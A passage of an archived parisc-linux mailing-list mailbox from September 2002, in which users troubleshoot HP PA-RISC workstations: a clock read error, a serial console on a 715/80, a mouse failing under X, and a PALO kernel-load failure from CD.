	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 22 17:08:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.goquest.com (mail.goquest.com [63.172.73.8])
	by dsl2.external.hp.com (Postfix) with SMTP id 8225C4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 22 Sep 2002 17:08:32 -0600 (MDT)
Original-Received: (qmail 21285 invoked by uid 0); 22 Sep 2002 23:08:17 -0000
Original-Received: from mszick@goquest.com by mail.goquest.com by uid 502 with qmail-scanner-1.12 (spamassassin: 2.31. . Clear:. Processed in 0.553711 secs); 22 Sep 2002 23:08:17 -0000
Original-Received: from unknown (HELO localhost.localdomain) (65.162.253.55)
  by mail.goquest.com with SMTP; 22 Sep 2002 23:08:16 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <03ab01c26266$2416dea0$1f96078d@acid>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16243

On Sunday 22 September 2002 01:30 pm, Yves Bodack wrote:
> Hi,
>
> i have a 'new' 735/125 workstation, which I run Debian 3.0 on.
> hp735# uname -a
> Linux hp735 2.4.19-32 #1 Tue Aug 20 03:25:39 MDT 2002 parisc unknown
> unknown GNU/Linux
>
> 1st problem I have is the Real Time Clock. On boot I get the following
> messages:
>
> System Time was Thu Jan 1 00:00:10 UTC 1970
> Setting the System Clock using the Hardware Clock as reference...
> RTC_RD_TIME: Bad address
> ioctl() to /dev/rtc read the time failed.
> System Clock set. System local time is now Thu Jan 1 00:00:13 UTC 1970.
>
Perhaps it is really a good address and a bad clock battery.
Mike


From - Thu Nov 08 21:24:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chuck Slivkoff <caslivkoff@telocity.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems with 715/80
Date: Sun, 22 Sep 2002 23:22:50 -0400
Lines: 48
Approved: news@gmane.org
Message-ID: <BD69FB20-CEA3-11D6-827A-000393581E44@telocity.com>
References: <20020922211630.GB1936@familie-weerts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v546)
Content-Type: text/plain; delsp=yes; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621754 14630 80.91.229.3 (22 Nov 2014 02:02:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Christian Weerts <chw@ffis.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 22 21:22:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from c003.snv.cp.net (h004.c003.snv.cp.net [209.228.32.218])
	by dsl2.external.hp.com (Postfix) with SMTP id 353774829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 22 Sep 2002 21:22:54 -0600 (MDT)
Original-Received: (cpmta 16464 invoked from network); 22 Sep 2002 20:22:51 -0700
Original-Received: from 64.128.230.1 (HELO telocity.com)
  by smtp.telocity.com (209.228.32.218) with SMTP; 22 Sep 2002 20:22:51 -0700
X-Sent: 23 Sep 2002 03:22:51 GMT
In-Reply-To: <20020922211630.GB1936@familie-weerts.de>
X-Mailer: Apple Mail (2.546)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16244

I would suggest that you disconnect any disks and power on the box.  
Make sure your null-modem cable is attached to serial port "a" and no  
keyboard is attached via the PS2/HIL adapter box. You will need to get  
to the PCD "BOOT_ADMIN>" prompt before you can get any further. If you  
can not get to this prompt, take note of the LED's being displayed. The  
service manual for the 715 should help to decode the LED's.

http://h20000.www2.hp.com/bizsupport/ 
CoreRedirect.jsp?targetPage=http%3A%2F%2Fh200002.www2.hp.com%2Fbc%2Fdocs 
%2Fsupport%2FSupportManual%2Flpv37699%2Flpv37699.pdf

Hope this helps.

-chuck


On Sunday, Sep 22, 2002, at 17:16 US/Eastern, Christian Weerts wrote:

> Hello everybody,
>
> I've got an 715/80 here and have problems to get a console.
>
> I've switched a Nullmodem Cable to my Laptop and configured
> minicom as discribed in the Boot-HOWTO - no sign of life.
>
> Then I attached my Monitor to the machine and noticed that I
> got a signal to the (SVGA) Monitor but no message appeared -
> nothing than a blank screen in 1024x768 resolution as my
> Monitor told me on his little Display.
>
> At this point I pressed serveral times the ESCAPE-Button or
> the TAB-Key (as mentioned in the HOWTO) at boottime, but no
> reaction.
>
> What else can I do?
>
> Greets,
>     Christian
>
> -- 
> May the Source be with you...
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>



From - Thu Nov 08 21:24:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mouse stops working when exiting KDE
Date: Mon, 23 Sep 2002 08:18:38 +0200
Lines: 59
Approved: news@gmane.org
Message-ID: <3D89CCF000000449@ocpmta6.be.tiscali.com>
References: <3D8E3A0B.5090008@earthlink.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621754 14631 80.91.229.3 (22 Nov 2014 02:02:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:34 +0000 (UTC)
Cc: "Derek Engelhaupt" <derekengelhaupt@rocketmail.com>,
	parisc-linux@lists.parisc-linux.org
To: "Bryan W. Headley" <bwheadley@earthlink.net>,
	"Joel Soete" <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 23 00:16:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id C34074829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Sep 2002 00:16:02 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 23 Sep 2002 08:18:38 +0200
In-Reply-To: <3D8E3A0B.5090008@earthlink.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16245

>-- Original Message --
>Date: Sun, 22 Sep 2002 16:45:47 -0500
>From: "Bryan W. Headley" <bwheadley@earthlink.net>
>To: Joel Soete <joel.soete@freebel.net>
>CC: Derek Engelhaupt <derekengelhaupt@rocketmail.com>, 
> parisc-linux@lists.parisc-linux.org
>Subject: Re: [parisc-linux] Mouse stops working when exiting KDE
>
>
>Joel Soete wrote:
>
>>> I assume you are running the gpm mouse daemon as well. If you tell X

>>> to use the gpm mouse (/dev/gpmdata), you should be okay.
>> 
>> 
>> Hmm, long time ago I test this (because that was like this I configure
>
>> my i386 boxe) but it did not work. Does it work now on parisc?
>
>Last time I checked, it did. Debconf and I have a difference of opinion

>about it's overwriting XF86Config-4 after I hand-edit it. So and X 
>upgrade arrives, and the config file gets overwritten. :-)
>
>>>
>> with kde ?
>
>No, I've seen it with Gnome also, on: alpha, ppc, sparc, and i386.
>
>> 
>> Because with the same software config (gdm + xfce + xfree86-4.1) the 
>> same problem occurs on my parisc (b180) and not on my i386 (on which I
>
>> also use /dev/psaux as mouse device)?
>> 
>
>But, IS gpm running? 

Yes on both machine

>Both it and the X server are trying to grab events 
>from /dev/psaux...
>
>> (sorry (I would be of better help) I never have time to investigate in
>
>> more details this problem. And I do not remember exactly if it was 
>> always there or if it appears with a new release of xfree86 or with a

>> new kernel release? Is some one can refresh my memory?)
>
>Seen it on X 4.0, 4.1 and 4.2. So I'd say it's not kernel-related.
>
Ha Ok

Thanks for info, (I will try to fond time for additional test)
    Joel



From - Thu Nov 08 21:24:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joachim.weller@philips.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problem to load kernel by PALO (B2600)
Date: Mon, 23 Sep 2002 13:19:01 +0200
Lines: 176
Approved: news@gmane.org
Message-ID: <OFD78B3766.71BE9B40-ONC1256C3D.003C55CB@diamond.philips.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="=_alternative 003E97AAC1256C3D_="
X-Trace: ger.gmane.org 1416621754 14635 80.91.229.3 (22 Nov 2014 02:02:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 23 05:19:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gw-nl6.philips.com (gw-nl6.philips.com [212.153.235.103])
	by dsl2.external.hp.com (Postfix) with ESMTP id CD6E34829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Sep 2002 05:19:12 -0600 (MDT)
Original-Received: from smtpscan-nl3.philips.com (smtpscan-nl3.philips.com [130.139.36.23])
	by gw-nl6.philips.com (Postfix) with ESMTP id 6FF10A1013
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Sep 2002 13:19:10 +0200 (MET DST)
Original-Received: from smtprelay-nl1.philips.com (localhost [127.0.0.1]) 
	by smtpscan-nl3.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id NAA18632
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Sep 2002 13:19:09 +0200 (MET DST)
Original-Received: from hbg001soh.diamond.philips.com (e1soh01.diamond.philips.com [130.143.165.45]) 
	by smtprelay-nl1.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id NAA21846
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Sep 2002 13:19:09 +0200 (MET DST)
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
X-MIMETrack: Serialize by Router on hbg001soh/H/SERVER/PHILIPS(Release 5.0.9a |January 7, 2002) at
 23/09/2002 13:20:07,
	Serialize complete at 23/09/2002 13:20:07
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16246

This is a multipart message in MIME format.
--=_alternative 003E97AAC1256C3D_=
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi,=20
i'am new to parisc, but have managed to successfully set up=20
an hp715/100 with palinux-0.9.3.

I have downloaded the latest isoimage 2.4.19-pa19-20020922,
from http://pateam.esiee.fr/download.html
Burned to CD and succesfull booted from internal CDROM drive into the IPL.
The problem arises when trying to load the kernel.
I have tried with no success:
1. booting unmodified command line: 0/vmlinux
2. 0/vmlinux32
3. 0/vmlinux64
4. 0/dists/woody/main/disks-hppa/3.0.23-2002-09-22/32/linux.bin
5. 0/dists/woody/main/disks-hppa/3.0.23-2002-09-22/64/linux.bin

after b<enter>, the CD is accessed for about 20 seconds, and then
the almost same error message appears:

---------------------------------------------------------------------------=
---------------------------
Command line for kernel: 'ramdisk=5Fsize=3D8192 root=3D/dev/ram console=3Dt=
ty0=20
sti=3D10/1/3/0 st=5Ffont=3DVGA8x16 TERM=3Dlinux palo=5Fkernel=3D0/vmlinux32'
Selected kernel: /vmlinux32 from partition 0
Selected ramdisk: /ramdiski from partition 0
ELF32 executable
Entry 00100098 first 00100000 n 6
Segment 0 load 00100000 size 2196688 mediaptr 0x1000
Segment 1 load 0031a000 size 467792 mediaptr 0x21a000
Segment 2 load 00390000 size 255656 mediaptr 0x28d000
Segment 3 load 003d0000 size 8192 mediaptr 0x2cc000
Segment 4 load 003d8000 size 32768 mediaptr 0x2ce000
Segment 5 load 00402048 size 110832 mediaptr 0x2d6048

ERROR: Read from boot device failed (status =3D -3).
byteio=5Fread: seekread() returned -1 expected 2195456
ERROR: segment 0 read() failed
Fatal error loading kernel executableERROR: failed to load kernel
---------------------------------------------------------------------------=
---------------------------

In order to exclude CDROM media problems, I tried to burn on
a regular CD (first one was RW), but again with no success.

Reading the Boot-howto didn't help.
Any help very much appreciated !

Regards,
                    Joachim



Joachim Weller

Philips Medizin Systeme Boeblingen GmbH
Cardiac and Monitoring Systems (CMS) /New Product Engineering=20
Phone: {+49|0}-7031-463-1891
Fax:   {+49|0}-7031-463-2112
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F
Gesch=E4ftsf=FChrer: Dr. Werner Haas, David Russell, Wolfgang Strenzl=20
(Sprecher)
Sitz der Gesellschaft: B=F6blingen Registergericht B=F6blingen Reg.-Nr. HRB=
=20
5187=20
Hewlett-Packard Str. 2, D 71034 Boeblingen      -GERMANY-
--=_alternative 003E97AAC1256C3D_=
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


<br><font size=3D2 face=3D"sans-serif">Hi, </font>
<br><font size=3D2 face=3D"sans-serif">i'am new to parisc, but have managed=
 to successfully set up </font>
<br><font size=3D2 face=3D"sans-serif">an hp715/100 with palinux-0.9.3.</fo=
nt>
<br>
<br><font size=3D2 face=3D"sans-serif">I have downloaded the latest isoimag=
e 2.4.19-pa19-20020922,</font>
<br><font size=3D2 face=3D"sans-serif">from http://pateam.esiee.fr/download=
.html</font>
<br><font size=3D2 face=3D"sans-serif">Burned to CD and succesfull booted f=
rom internal CDROM drive into the IPL.</font>
<br><font size=3D2 face=3D"sans-serif">The problem arises when trying to lo=
ad the kernel.</font>
<br><font size=3D2 face=3D"sans-serif">I have tried with no success:</font>
<br><font size=3D2 face=3D"sans-serif">1. booting unmodified command line: =
0/vmlinux</font>
<br><font size=3D2 face=3D"sans-serif">2. 0/vmlinux32</font>
<br><font size=3D2 face=3D"sans-serif">3. 0/vmlinux64</font>
<br><font size=3D2 face=3D"sans-serif">4. 0/dists/woody/main/disks-hppa/3.0=
.23-2002-09-22/32/linux.bin</font>
<br><font size=3D2 face=3D"sans-serif">5. 0/dists/woody/main/disks-hppa/3.0=
.23-2002-09-22/64/linux.bin</font>
<br>
<br><font size=3D2 face=3D"sans-serif">after b&lt;enter&gt;, the CD is acce=
ssed for about 20 seconds, and then</font>
<br><font size=3D2 face=3D"sans-serif">the almost same error message appear=
s:</font>
<br>
<br><font size=3D2 face=3D"sans-serif">------------------------------------=
------------------------------------------------------------------</font>
<br><font size=3D2 face=3D"sans-serif">Command line for kernel: 'ramdisk=5F=
size=3D8192 root=3D/dev/ram console=3Dtty0 sti=3D10/1/3/0 st=5Ffont=3DVGA8x=
16 TERM=3Dlinux palo=5Fkernel=3D0/vmlinux32'</font>
<br><font size=3D2 face=3D"sans-serif">Selected kernel: /vmlinux32 from par=
tition 0</font>
<br><font size=3D2 face=3D"sans-serif">Selected ramdisk: /ramdiski from par=
tition 0</font>
<br><font size=3D2 face=3D"sans-serif">ELF32 executable</font>
<br><font size=3D2 face=3D"sans-serif">Entry 00100098 first 00100000 n 6</f=
ont>
<br><font size=3D2 face=3D"sans-serif">Segment 0 load 00100000 size 2196688=
 mediaptr 0x1000</font>
<br><font size=3D2 face=3D"sans-serif">Segment 1 load 0031a000 size 467792 =
mediaptr 0x21a000</font>
<br><font size=3D2 face=3D"sans-serif">Segment 2 load 00390000 size 255656 =
mediaptr 0x28d000</font>
<br><font size=3D2 face=3D"sans-serif">Segment 3 load 003d0000 size 8192 me=
diaptr 0x2cc000</font>
<br><font size=3D2 face=3D"sans-serif">Segment 4 load 003d8000 size 32768 m=
ediaptr 0x2ce000</font>
<br><font size=3D2 face=3D"sans-serif">Segment 5 load 00402048 size 110832 =
mediaptr 0x2d6048</font>
<br>
<br><font size=3D2 face=3D"sans-serif">ERROR: Read from boot device failed =
(status =3D -3).</font>
<br><font size=3D2 face=3D"sans-serif">byteio=5Fread: seekread() returned -=
1 expected 2195456</font>
<br><font size=3D2 face=3D"sans-serif">ERROR: segment 0 read() failed</font>
<br><font size=3D2 face=3D"sans-serif">Fatal error loading kernel executabl=
eERROR: failed to load kernel<br>
---------------------------------------------------------------------------=
---------------------------</font>
<br>
<br><font size=3D2 face=3D"sans-serif">In order to exclude CDROM media prob=
lems, I tried to burn on</font>
<br><font size=3D2 face=3D"sans-serif">a regular CD (first one was RW), but=
 again with no success.</font>
<br>
<br><font size=3D2 face=3D"sans-serif">Reading the Boot-howto didn't help.<=
/font>
<br><font size=3D2 face=3D"sans-serif">Any help very much appreciated !</fo=
nt>
<br>
<br><font size=3D2 face=3D"sans-serif">Regards,</font>
<br><font size=3D2 face=3D"sans-serif">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &=
nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Joachim</font>
<br>
<br>
<br><font size=3D2 face=3D"sans-serif"><br>
Joachim Weller<br>
<br>
Philips Medizin Systeme Boeblingen GmbH<br>
Cardiac and Monitoring Systems (CMS) /New Product Engineering <br>
Phone: {+49|0}-7031-463-1891<br>
Fax: &nbsp; {+49|0}-7031-463-2112<br>
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F<br>
Gesch=E4ftsf=FChrer: Dr. Werner Haas, David Russell, Wolfgang Strenzl (Spre=
cher)<br>
Sitz der Gesellschaft: B=F6blingen Registergericht B=F6blingen Reg.-Nr. HRB=
 5187 &nbsp;<br>
Hewlett-Packard Str. 2, D 71034 Boeblingen &nbsp; &nbsp; &nbsp;-GERMANY-</f=
ont>
--=_alternative 003E97AAC1256C3D_=--


From - Thu Nov 08 21:24:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem to load kernel by PALO (B2600)
Date: Mon, 23 Sep 2002 14:01:38 +0200
Organization: ESIEE
Lines: 36
Approved: news@gmane.org
Message-ID: <3D8F02A2.9040906@esiee.fr>
References: <OFD78B3766.71BE9B40-ONC1256C3D.003C55CB@diamond.philips.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621755 14637 80.91.229.3 (22 Nov 2014 02:02:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joachim.weller@philips.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 23 06:04:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 778C64829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Sep 2002 06:03:59 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with SMTP
	id 68A8649C70; Mon, 23 Sep 2002 14:03:56 +0200 (CEST)
Original-Received: from esiee.fr (grobluk.esiee.fr [147.215.7.22])
	by mail.esiee.fr (Postfix) with ESMTP
	id 8FD8B49C21; Mon, 23 Sep 2002 14:03:54 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.1) Gecko/20020827
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16247

joachim.weller@philips.com wrote:
> 
> Hi,
> i'am new to parisc, but have managed to successfully set up
> an hp715/100 with palinux-0.9.3.
> 
> I have downloaded the latest isoimage 2.4.19-pa19-20020922,
> from http://pateam.esiee.fr/download.html
> 
> In order to exclude CDROM media problems, I tried to burn on
> a regular CD (first one was RW), but again with no success.
> 
> Reading the Boot-howto didn't help.
> Any help very much appreciated !
> 

Hi,

I've just burned this netinst on a RW and tried it on a L1000 (I don't 
have a 715 to test it on alas), and it booted perfectly well.

Therefore I don't think this is an ISO problem, but rather a CD-ROM pb.

Maybe your CD-ROM driver isn't supported... Or damaged.
Have you tried with another one ?

HTH,



Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:24:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem to load kernel by PALO (B2600)
Date: Mon, 23 Sep 2002 14:05:56 +0200
Organization: ESIEE
Lines: 14
Approved: news@gmane.org
Message-ID: <3D8F03A4.3070005@esiee.fr>
References: <OFD78B3766.71BE9B40-ONC1256C3D.003C55CB@diamond.philips.com> <3D8F02A2.9040906@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621755 14641 80.91.229.3 (22 Nov 2014 02:02:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:35 +0000 (UTC)
Cc: joachim.weller@philips.com, parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 23 06:08:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id B39104829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Sep 2002 06:08:15 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with SMTP
	id F2AC549BEA; Mon, 23 Sep 2002 14:08:12 +0200 (CEST)
Original-Received: from esiee.fr (grobluk.esiee.fr [147.215.7.22])
	by mail.esiee.fr (Postfix) with ESMTP
	id BD9C949BE4; Mon, 23 Sep 2002 14:08:12 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.1) Gecko/20020827
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16248

Thibaut VARENE wrote:
> Maybe your CD-ROM driver isn't supported... Or damaged.

My bad replying to myself.
To make it clear: I meant CD-ROM drive, not 'driver'.
Sorry.


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:24:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joachim.weller@philips.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem to load kernel by PALO (B2600) (solved)
Date: Mon, 23 Sep 2002 14:22:26 +0200
Lines: 65
Approved: news@gmane.org
Message-ID: <OF21F6FF71.D4840A4E-ONC1256C3D.00405FDB@diamond.philips.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="=_alternative 00446629C1256C3D_="
X-Trace: ger.gmane.org 1416621755 14644 80.91.229.3 (22 Nov 2014 02:02:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
